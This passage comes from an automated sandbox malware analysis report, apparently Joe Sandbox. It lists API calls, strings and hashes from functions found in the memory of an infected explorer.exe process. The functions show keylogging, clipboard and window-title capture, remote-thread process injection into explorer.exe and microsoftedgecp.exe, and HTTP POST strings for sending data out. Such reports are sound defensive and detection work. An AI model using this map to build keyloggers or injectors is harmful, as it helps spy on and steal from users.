Part of subcall function 02F22A09: GetProcessHeap.KERNEL32(00000008,0000A000,02F210BF), ref: 02F22A0C
Part of subcall function 02F22A09: RtlAllocateHeap.NTDLL(00000000), ref: 02F22A13

wsprintfA.USER32 ref: 02F210E7

Part of subcall function 02F2276D: OpenFileMappingA.KERNEL32(00000006,00000000,00000000), ref: 02F22777
Part of subcall function 02F2276D: MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000,?,?,02F210FE), ref: 02F22789

RtlMoveMemory.NTDLL(00000000,0000000C,-00000001), ref: 02F21155
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02F21160
Process32First.KERNEL32(00000000,?), ref: 02F2117F
CharLowerA.USER32(?), ref: 02F21199
lstrcmpiA.KERNEL32(?,explorer.exe), ref: 02F211B5
lstrcmpiA.KERNEL32(?,microsoftedgecp.exe), ref: 02F21212
Process32Next.KERNEL32(00000000,00000128), ref: 02F2126C
CloseHandle.KERNEL32(00000000), ref: 02F2127F
Sleep.KERNELBASE(000003E8), ref: 02F2129F

Strings

keylog_rules=, xrefs: 02F2110D
%s%s, xrefs: 02F210E1
|:|, xrefs: 02F21125
microsoftedgecp.exe, xrefs: 02F21208
explorer.exe, xrefs: 02F211AB

Memory Dump Source

Source File: 00000013.00000002.4174455214.0000000002F21000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2f21000_explorer.jbxd

Similarity

API ID: FileHeapProcess32lstrcmpi$AllocateCharCloseCreateFirstHandleLowerMappingMemoryMoveNextOpenProcessSleepSnapshotToolhelp32Viewwsprintf
String ID: %s%s$explorer.exe$keylog_rules=$microsoftedgecp.exe$|:|
API String ID: 3018447944-2805246637
Opcode ID: 5e48dd9153652e786798788f3fc5a78e4e9631bef502c7345e86507a1157d417
Instruction ID: 77a59c78602ea1920e8507b9a3285ca301c0c94fdfdd1fae6595a46553c304d6
Opcode Fuzzy Hash: 5e48dd9153652e786798788f3fc5a78e4e9631bef502c7345e86507a1157d417
Instruction Fuzzy Hash: BA41EB71A043255BD724EF648C84A7BB79AEB477D4F010918BF49972C1EB34D90D8F61

Function 02F29AE0 Relevance: 6.2, APIs: 4, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000013.00000002.4174455214.0000000002F28000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F28000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2f28000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4135ba2377cce62e9158bbc91fd009143de1bf4a8065c8168efe2ff047589653
Instruction ID: 9c748d3601187bdbc63fd48e8dbc5814f393dab40ec35e48576d83a8cd50c9ec
Opcode Fuzzy Hash: 4135ba2377cce62e9158bbc91fd009143de1bf4a8065c8168efe2ff047589653
Instruction Fuzzy Hash: AF51EA72E542728BD7218A78CC807A57794EB432A4F380739D6E5CB3C6E7D4590EC750

Function 02F2276D Relevance: 3.0, APIs: 2, Instructions: 23
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenFileMappingA.KERNEL32(00000006,00000000,00000000), ref: 02F22777
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000,?,?,02F210FE), ref: 02F22789

Memory Dump Source

Source File: 00000013.00000002.4174455214.0000000002F21000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2f21000_explorer.jbxd

Similarity

API ID: File$MappingOpenView
String ID:
API String ID: 3439327939-0
Opcode ID: 0dc54c0e6cc7fc0ebe74eabf6a1ae08950c579bea2f8a51f19c45ffa023ccc64
Instruction ID: 6d8942ffca6115569cd95c9d87ee6d5cead323b34cd5d5e33c96754f06898cf6
Opcode Fuzzy Hash: 0dc54c0e6cc7fc0ebe74eabf6a1ae08950c579bea2f8a51f19c45ffa023ccc64
Instruction Fuzzy Hash: 93D01772F45232BBE3349A7B6C0CF83BE9DDF86EE5B020025B90DD2140D6648820C2F0

Function 02F2275A Relevance: 3.0, APIs: 2, Instructions: 8
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

UnmapViewOfFile.KERNEL32(00000000,?,02F2129A,00000001), ref: 02F2275E
CloseHandle.KERNELBASE(?,?,02F2129A,00000001), ref: 02F22765

Memory Dump Source

Source File: 00000013.00000002.4174455214.0000000002F21000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2f21000_explorer.jbxd

Similarity

API ID: CloseFileHandleUnmapView
String ID:
API String ID: 2381555830-0
Opcode ID: 01b731a3d54e4a134f779fd3cc46b0daf220c0055981897e3fc99f66089199f8
Instruction ID: b64a2e9f895842cce492017f191bc8dd5f3b441708a0e4237679655595262d4f
Opcode Fuzzy Hash: 01b731a3d54e4a134f779fd3cc46b0daf220c0055981897e3fc99f66089199f8
Instruction Fuzzy Hash: 56B012B2C4903497C334A734780CCDBBE18EE4BAA530709C4F10D810044B2C081587F8

Function 02F22A09 Relevance: 3.0, APIs: 2, Instructions: 6
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000008,0000A000,02F210BF), ref: 02F22A0C
RtlAllocateHeap.NTDLL(00000000), ref: 02F22A13

Memory Dump Source

Source File: 00000013.00000002.4174455214.0000000002F21000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2f21000_explorer.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: da2af24a5e45c57c4bb2e595d1d812a728b3867f92d9f8eff71f4979265e48c7
Instruction ID: 39a4a3f262734af1c3b514da35106b02f528699d8e28843e7e77a6641c6f32d0
Opcode Fuzzy Hash: da2af24a5e45c57c4bb2e595d1d812a728b3867f92d9f8eff71f4979265e48c7
Instruction Fuzzy Hash: 38A002F1F901086BDD5897E4990DF15B658E745F45F0149847246C50409D79545C8735

Non-executed Functions

Function 02F218BF Relevance: 45.7, APIs: 23, Strings: 3, Instructions: 208
injectionnativesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02F22724: VirtualQuery.KERNEL32(00000000,?,0000001C,?,?,?,00000000,02F229F3,-00000001,02F2128C), ref: 02F22731

OpenProcess.KERNEL32(001FFFFF,00000000,?,00000000,?,00000000,00000001), ref: 02F218F4
NtSetInformationProcess.NTDLL(00000000,00000034,?), ref: 02F2192F
NtUnmapViewOfSection.NTDLL(000000FF,00000000), ref: 02F219BF
RtlMoveMemory.NTDLL(00000000,02F23638,00000016), ref: 02F219E6
RtlMoveMemory.NTDLL(-00000016,00000363), ref: 02F21A0E
NtUnmapViewOfSection.NTDLL(000000FF,-00000016), ref: 02F21A1E
CreateMutexA.KERNEL32(00000000,00000000,opera_shared_counter,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 02F21A38
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?,00000000), ref: 02F21A40
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 02F21A4E
Sleep.KERNEL32(000003E8,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 02F21A55
GetModuleHandleA.KERNEL32(ntdll,atan,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 02F21A6B
GetProcAddress.KERNEL32(00000000), ref: 02F21A72
ReadProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 02F21A88
WriteProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 02F21AB2
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 02F21AC5
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 02F21ACC
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 02F21AD3
WriteProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 02F21AE7
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02F21AFE
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 02F21B0B
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 02F21B11
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 02F21B17
CloseHandle.KERNEL32(00000000,?,00000000), ref: 02F21B1A

Strings

opera_shared_counter, xrefs: 02F21A31
atan, xrefs: 02F21A61
ntdll, xrefs: 02F21A66

Memory Dump Source

Source File: 00000013.00000002.4174455214.0000000002F21000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2f21000_explorer.jbxd

Similarity

API ID: Handle$Close$MemoryProcess$Create$MoveRemoteSectionSleepThreadUnmapViewWrite$AddressErrorInformationLastModuleMutexOpenProcQueryReadVirtual
String ID: atan$ntdll$opera_shared_counter
API String ID: 1066286714-2737717697
Opcode ID: fc83e5b8890e8723453ba292f661d3124405aeaab53867872c7eb746b66c6c31
Instruction ID: cd7c7800c3e5a066eb9abefa34e14d1da34a96e11ffa27472a3bf0451f555d91
Opcode Fuzzy Hash: fc83e5b8890e8723453ba292f661d3124405aeaab53867872c7eb746b66c6c31
Instruction Fuzzy Hash: 1F61A271A44319AFE320DF248C84E6BBBEDEB4A798F010959FA49D3241D774D908CB76

Function 02F22799 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 68
encryptionstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 02F227B5
CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 02F227CD
lstrlen.KERNEL32(?,00000000), ref: 02F227D5
CryptHashData.ADVAPI32(?,?,00000000,?,00000000), ref: 02F227E0
CryptGetHashParam.ADVAPI32(?,00000002,?,?,00000000,?,00000000,?,00000000), ref: 02F227FA
wsprintfA.USER32 ref: 02F22811
CryptDestroyHash.ADVAPI32(?), ref: 02F2282A
CryptReleaseContext.ADVAPI32(?,00000000), ref: 02F22834

Strings

%02X, xrefs: 02F2280B

Memory Dump Source

Source File: 00000013.00000002.4174455214.0000000002F21000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2f21000_explorer.jbxd

Similarity

API ID: Crypt$Hash$Context$AcquireCreateDataDestroyParamReleaselstrlenwsprintf
String ID: %02X
API String ID: 3341110664-436463671
Opcode ID: add4b2080a038ef41e57dd6879f124ebc04e39f0b50e75b02ddb82f41d9f0b50
Instruction ID: e0f5582ec7b993d794935547184a4f619a4d6610014c2b9ea852b0b5868d4d03
Opcode Fuzzy Hash: add4b2080a038ef41e57dd6879f124ebc04e39f0b50e75b02ddb82f41d9f0b50
Instruction Fuzzy Hash: B3117CB1D4010CBFEB20DB94DC88EEEBBBCEB49788F1104A1FA04E2100D6384E189B30

Function 02F2162B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 02F21652
ToUnicode.USER32(0000001B,?,?,?,00000009,00000000), ref: 02F2167A

Strings

, xrefs: 02F21699

Memory Dump Source

Source File: 00000013.00000002.4174455214.0000000002F21000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2f21000_explorer.jbxd

Similarity

API ID: KeyboardStateUnicode
String ID:
API String ID: 3453085656-3916222277
Opcode ID: cbb5c6cf815d7672ea8a1b5e00c956f5fb0a9398e32de499a9e46f6f09b33008
Instruction ID: 2e1311e14f276314dc67aafd85da29f7836d9c79f37f88de3ef4ff3953a316ae
Opcode Fuzzy Hash: cbb5c6cf815d7672ea8a1b5e00c956f5fb0a9398e32de499a9e46f6f09b33008
Instruction Fuzzy Hash: 9D01DB31D0022A5BDB34CA10D944BFFBB7CAF07784F094519DA09E6042D734D54D8FA9

Function 02F213AE Relevance: 38.6, APIs: 17, Strings: 5, Instructions: 144
libraryloaderthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlZeroMemory.NTDLL(02F25013,0000001C), ref: 02F213C8
VirtualQuery.KERNEL32(02F213AE,?,0000001C), ref: 02F213DA
GetModuleFileNameA.KERNEL32(00000000,00000000,00000104), ref: 02F2140B
GetCurrentProcessId.KERNEL32(00000004), ref: 02F2141C
wsprintfA.USER32 ref: 02F21433
CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 02F21448
GetLastError.KERNEL32 ref: 02F2144E
RtlInitializeCriticalSection.NTDLL(02F2582C), ref: 02F21465
Sleep.KERNEL32(000001F4), ref: 02F21489
GetModuleHandleA.KERNEL32(user32.dll,TranslateMessage), ref: 02F214A6
GetProcAddress.KERNEL32(00000000), ref: 02F214AF
GetModuleHandleA.KERNEL32(user32.dll,GetClipboardData), ref: 02F214D0
GetProcAddress.KERNEL32(00000000), ref: 02F214D3
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 02F214F1
CreateThread.KERNEL32(00000000,00000000,Function_0000082D,00000000,00000000,00000000), ref: 02F2150D
CloseHandle.KERNEL32(00000000), ref: 02F21514
RtlExitUserThread.NTDLL(00000000), ref: 02F2152A

Strings

user32.dll, xrefs: 02F214A1, 02F214CB
kernel32.dll, xrefs: 02F214EC
TranslateMessage, xrefs: 02F2149C
%s%d%d%d, xrefs: 02F2142D
GetClipboardData, xrefs: 02F214C6

Memory Dump Source

Source File: 00000013.00000002.4174455214.0000000002F21000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2f21000_explorer.jbxd

Similarity

API ID: HandleModule$AddressCreateProcThread$CloseCriticalCurrentErrorExitFileInitializeLastMemoryMutexNameProcessQuerySectionSleepUserVirtualZerowsprintf
String ID: %s%d%d%d$GetClipboardData$TranslateMessage$kernel32.dll$user32.dll
API String ID: 3628807430-1779906909
Opcode ID: d9dd51d6666bc0b2a4037c4a7f712a9914fea234965a30e915e15cb06f5e0f59
Instruction ID: c10d913ad602da081646da4ab390b6483ead4495ffbbab825e26fb5e083f7516
Opcode Fuzzy Hash: d9dd51d6666bc0b2a4037c4a7f712a9914fea234965a30e915e15cb06f5e0f59
Instruction Fuzzy Hash: 7E41C8B0E40329ABE720EF659C19E5B7B9DFB47BC47014458F60A86241CB79D41C8FB5

Function 02F216B9 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 90
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEnterCriticalSection.NTDLL(02F2582C), ref: 02F216C4
lstrlenW.KERNEL32 ref: 02F216DB
lstrlenW.KERNEL32 ref: 02F216F3
wsprintfW.USER32 ref: 02F21743
GetForegroundWindow.USER32 ref: 02F2174E
GetWindowTextW.USER32(00000000,02F25850,00000800), ref: 02F21767
GetClassNameW.USER32(00000000,02F25850,00000800), ref: 02F21774
lstrcmpW.KERNEL32(02F25020,02F25850), ref: 02F21781
lstrcpyW.KERNEL32(02F25020,02F25850), ref: 02F2178D
wsprintfW.USER32 ref: 02F217AD
lstrcatW.KERNEL32 ref: 02F217C6
RtlLeaveCriticalSection.NTDLL(02F2582C), ref: 02F217D3

Strings

Clipboard -> , xrefs: 02F21730
%s%s%s%s, xrefs: 02F217A2
%s%s%s, xrefs: 02F21738
New Window Caption -> , xrefs: 02F2179A

Memory Dump Source

Source File: 00000013.00000002.4174455214.0000000002F21000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2f21000_explorer.jbxd

Similarity

API ID: CriticalSectionWindowlstrlenwsprintf$ClassEnterForegroundLeaveNameTextlstrcatlstrcmplstrcpy
String ID: Clipboard -> $ New Window Caption -> $%s%s%s$%s%s%s%s
API String ID: 2651329914-3371406555
Opcode ID: 234f1627b12c3d9fa38d2a2865e2838a42678c4eab2bfee196caa2cac6b9ce5c
Instruction ID: 9cd3e452afcb72924f7b8e91e2e80c0ef34830efe5650101a9295ea4dcd062d2
Opcode Fuzzy Hash: 234f1627b12c3d9fa38d2a2865e2838a42678c4eab2bfee196caa2cac6b9ce5c
Instruction Fuzzy Hash: 8521FB70E8023DABE7346B25EC84E6FBB59EB83FC47464454F60592112CB19882C97B5

Function 02F225F1 Relevance: 15.1, APIs: 10, Instructions: 51
threadprocessinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 02F22603
GetCurrentThreadId.KERNEL32 ref: 02F2260B
CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 02F2261B
Thread32First.KERNEL32(00000000,0000001C), ref: 02F22629
OpenThread.KERNEL32(001FFFFF,00000000,?), ref: 02F22648
SuspendThread.KERNEL32(00000000), ref: 02F22658
CloseHandle.KERNEL32(00000000), ref: 02F22667
Thread32Next.KERNEL32(00000000,0000001C), ref: 02F22677
CloseHandle.KERNEL32(00000000), ref: 02F22682

Memory Dump Source

Source File: 00000013.00000002.4174455214.0000000002F21000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2f21000_explorer.jbxd

Similarity

API ID: Thread$CloseCurrentHandleThread32$CreateFirstNextOpenProcessSnapshotSuspendToolhelp32
String ID:
API String ID: 1467098526-0
Opcode ID: 244606904713e5764793a3e859737939c8a0d1b846610c1010d2305d269ec23c
Instruction ID: 04b0971ad0ef6d8be432bcf821a26f645235a17fff24483461752c4cb76b7b08
Opcode Fuzzy Hash: 244606904713e5764793a3e859737939c8a0d1b846610c1010d2305d269ec23c
Instruction Fuzzy Hash: B81194B2D45214EBD711DF60A448A6AFEA4EF46F89F010859FA4182144D338891C8FB7

Function 02F220A1 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 283
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02F22A09: GetProcessHeap.KERNEL32(00000008,0000A000,02F210BF), ref: 02F22A0C
Part of subcall function 02F22A09: RtlAllocateHeap.NTDLL(00000000), ref: 02F22A13

Part of subcall function 02F2298A: lstrlen.KERNEL32(02F24FE2,?,00000000,00000000,02F220DD,74DE8A60,02F24FE2,00000000), ref: 02F22992
Part of subcall function 02F2298A: MultiByteToWideChar.KERNEL32(00000000,00000000,02F24FE2,00000001,00000000,00000000), ref: 02F229A4

Part of subcall function 02F224CC: RtlZeroMemory.NTDLL(?,00000018), ref: 02F224DE

RtlZeroMemory.NTDLL(?,0000003C), ref: 02F22139
wsprintfW.USER32 ref: 02F22272
wsprintfW.USER32 ref: 02F222DD
RtlMoveMemory.NTDLL(00000000,00000000,?), ref: 02F223A7

Strings

POST, xrefs: 02F22223
Host: %s, xrefs: 02F222D7
Content-Type: application/x-www-form-urlencoded, xrefs: 02F22301
Accept: */*Referer: %S, xrefs: 02F22268

Memory Dump Source

Source File: 00000013.00000002.4174455214.0000000002F21000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2f21000_explorer.jbxd

Similarity

API ID: Memory$HeapZerowsprintf$AllocateByteCharMoveMultiProcessWidelstrlen
String ID: Accept: */*Referer: %S$Content-Type: application/x-www-form-urlencoded$Host: %s$POST
API String ID: 4204651544-1701262698
Opcode ID: 5dc8b0ed6ccae0eb978c79043b5e8f9c7fd86c37c486b4aa9b41648c48ad93a4
Instruction ID: 698f6c811181d1632f109621db59071fd2f0e4638fde0a078e9b776ffeb1157d
Opcode Fuzzy Hash: 5dc8b0ed6ccae0eb978c79043b5e8f9c7fd86c37c486b4aa9b41648c48ad93a4
Instruction Fuzzy Hash: 00A16471A043659FE3209F64D884A2BBBE9FF8A784F00082DFA85D7251DB74D908CB52

Function 02F212AE Relevance: 7.6, APIs: 5, Instructions: 93
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02F229BD: VirtualAlloc.KERNEL32(00000000,00040744,00003000,00000040,02F212D9,00000000,00000000,?,00000001), ref: 02F229C7

lstrlen.KERNEL32(00000000,00000000,00000000,?,00000001), ref: 02F212DC

Part of subcall function 02F22A09: GetProcessHeap.KERNEL32(00000008,0000A000,02F210BF), ref: 02F22A0C
Part of subcall function 02F22A09: RtlAllocateHeap.NTDLL(00000000), ref: 02F22A13

PathMatchSpecA.SHLWAPI(?,00000000), ref: 02F2138A

Part of subcall function 02F22841: lstrlen.KERNEL32(00000000,?,?,00000001,00000000,02F21119,00000001), ref: 02F22850
Part of subcall function 02F22841: lstrlen.KERNEL32(keylog_rules=,?,?,00000001,00000000,02F21119,00000001), ref: 02F22855

RtlZeroMemory.NTDLL(00000000,00000104), ref: 02F21316
RtlMoveMemory.NTDLL(00000000,?,?), ref: 02F21332

Part of subcall function 02F22569: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,02F2136E), ref: 02F22591
Part of subcall function 02F22569: RtlMoveMemory.NTDLL(00000FA4,00000000,00000000), ref: 02F2259A

RtlMoveMemory.NTDLL(00000000,?,?), ref: 02F2135F

Memory Dump Source

Source File: 00000013.00000002.4174455214.0000000002F21000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2f21000_explorer.jbxd

Similarity

API ID: Memorylstrlen$Move$Heap$AllocAllocateMatchPathProcessSpecVirtualZero
String ID:
API String ID: 2993730741-0
Opcode ID: 011a30443f6bafd7039ec70665b8c4e44126471eeff19b91a1f2c322e2d51bf8
Instruction ID: 712deb0bffcb98a48c165cc20f049276c73ec7d1c6b69c6b91d5b2b90fd99a91
Opcode Fuzzy Hash: 011a30443f6bafd7039ec70665b8c4e44126471eeff19b91a1f2c322e2d51bf8
Instruction Fuzzy Hash: 5A219170B042259F8714EE28895497FB7DBBB86784B10092EFE5AD3741DB34DC0D8B66

Function 02F21581 Relevance: 7.6, APIs: 5, Instructions: 66
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalLock.KERNEL32(00000000), ref: 02F215A9
lstrlenW.KERNEL32(00000000), ref: 02F215C6
lstrcatW.KERNEL32(00000000,00000000), ref: 02F215DC
lstrlenW.KERNEL32(00000000), ref: 02F21600
GlobalUnlock.KERNEL32(00000000), ref: 02F2161C

Memory Dump Source

Source File: 00000013.00000002.4174455214.0000000002F21000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2f21000_explorer.jbxd

Similarity

API ID: Globallstrlen$LockUnlocklstrcat
String ID:
API String ID: 1114890469-0
Opcode ID: f325696f1b89ee3357500f3258558be2c7b7484728d50e31e75397941020eb15
Instruction ID: 6ea74a61bcfea301525efed5a0259d2d551c41727982eedbc83655e323df10b1
Opcode Fuzzy Hash: f325696f1b89ee3357500f3258558be2c7b7484728d50e31e75397941020eb15
Instruction Fuzzy Hash: 74014C72F0003557963466795D9467F769EDFC76D87090565EB0F93302DF388C0E8A58

Function 02F21BBD Relevance: 6.1, APIs: 4, Instructions: 101
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlMoveMemory.NTDLL(?,?,?), ref: 02F21BF4
LoadLibraryA.KERNEL32(?,02F25848,00000000,00000000,74DF2EE0,00000000,02F219B6,?,?,?,00000001,?,00000000), ref: 02F21C1C
GetProcAddress.KERNEL32(00000000,-00000002), ref: 02F21C49
LdrProcessRelocationBlock.NTDLL(?,?,00000008,?), ref: 02F21C9A

Memory Dump Source

Source File: 00000013.00000002.4174455214.0000000002F21000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2f21000_explorer.jbxd

Similarity

API ID: AddressBlockLibraryLoadMemoryMoveProcProcessRelocation
String ID:
API String ID: 3827878703-0
Opcode ID: c832c686be9b0602faa407f1547560a2ee6623b696d5d983ff306ea64ea99361
Instruction ID: 3512ce6dd1db45444a51574ee48ab7b68535aab0f9e40b8cb17277bfe6202ca1
Opcode Fuzzy Hash: c832c686be9b0602faa407f1547560a2ee6623b696d5d983ff306ea64ea99361
Instruction Fuzzy Hash: FE31C975B40225AFCB28CF28C8947A7B798BF06388F05556CE949C7202D735E459D7A4

Function 02F2182D Relevance: 6.0, APIs: 4, Instructions: 42sleepstringCOMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(02F2582C), ref: 02F21839
lstrlenW.KERNEL32 ref: 02F21845
RtlLeaveCriticalSection.NTDLL(02F2582C), ref: 02F218A9
Sleep.KERNEL32(00007530), ref: 02F218B4

Memory Dump Source

Source File: 00000013.00000002.4174455214.0000000002F21000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2f21000_explorer.jbxd

Similarity

API ID: CriticalSection$EnterLeaveSleeplstrlen
String ID:
API String ID: 2134730579-0
Opcode ID: 73971de96f3e0ab87d57eb597c680f9f75db5ff99119d67c993330c4892f23b7
Instruction ID: 5939211d9c223b4b9a1feedbfb209dd0a0cfcf63ede24156216b80b48d9dcbfb
Opcode Fuzzy Hash: 73971de96f3e0ab87d57eb597c680f9f75db5ff99119d67c993330c4892f23b7
Instruction Fuzzy Hash: 6601FC70D501259BD738E760DC58D6E7AAAEF43BC03014418E6058B240DA34891CDFB1

Function 02F226C9 Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000400,00000000,?,?,00000001,?,00000000,02F211DD), ref: 02F226DB
IsWow64Process.KERNEL32(000000FF,?), ref: 02F226ED
IsWow64Process.KERNEL32(00000000,?), ref: 02F22700
CloseHandle.KERNEL32(00000000), ref: 02F22716

Memory Dump Source

Source File: 00000013.00000002.4174455214.0000000002F21000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2f21000_explorer.jbxd

Similarity

API ID: Process$Wow64$CloseHandleOpen
String ID:
API String ID: 331459951-0
Opcode ID: 2e097a6debc1f9691cf1c76b40d5a727e1eb7f27e1446c0dcfd7690f16301df5
Instruction ID: cfa37eee8eee9bab1d4a031ed28e8acdbed97ca75a1180efcc5e112c0be3b063
Opcode Fuzzy Hash: 2e097a6debc1f9691cf1c76b40d5a727e1eb7f27e1446c0dcfd7690f16301df5
Instruction Fuzzy Hash: 49F036B5D4612DFF9B20CF909D448AEF77CDF06699B14029AEA1493140D7355E0897B1

Function 02F217DC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31timeCOMMON

Download Yara Rule

APIs

Part of subcall function 02F22A09: GetProcessHeap.KERNEL32(00000008,0000A000,02F210BF), ref: 02F22A0C
Part of subcall function 02F22A09: RtlAllocateHeap.NTDLL(00000000), ref: 02F22A13

GetLocalTime.KERNEL32(?,00000000), ref: 02F217F3
wsprintfW.USER32 ref: 02F2181D

Strings

[%02d.%02d.%d %02d:%02d:%02d], xrefs: 02F21817

Memory Dump Source

Source File: 00000013.00000002.4174455214.0000000002F21000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2f21000_explorer.jbxd

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID: [%02d.%02d.%d %02d:%02d:%02d]
API String ID: 377395780-613334611
Opcode ID: 0eeb21b26a5dc019f9f4b6452c4353713e0eaf95362905d62c2246f39d5d4c70
Instruction ID: a28218a7ca8b6bfcf1937e17f1c318317e9586f436526088e83805af581f9c28
Opcode Fuzzy Hash: 0eeb21b26a5dc019f9f4b6452c4353713e0eaf95362905d62c2246f39d5d4c70
Instruction Fuzzy Hash: EEF030A2D00138BA9724ABD99D059FFB3FCEB0DB42B00058AFA41E1180E67C5A64D7B5

Analysis Process: explorer.exePID: 4128, Parent PID: 2580COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00EE370C Relevance: 1.6, APIs: 1, Instructions: 75
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 00EE378C

Memory Dump Source

Source File: 00000014.00000002.4174152479.0000000000EE1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00EE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_ee1000_explorer.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: dbf61e07686744f72196ae4154379358cd8380f5b457a8fa64264e9f57adb311
Instruction ID: e452f951a80f6bffc5b01649d55be9c63636b680c455bfb6591a7b95bb7f89a1
Opcode Fuzzy Hash: dbf61e07686744f72196ae4154379358cd8380f5b457a8fa64264e9f57adb311
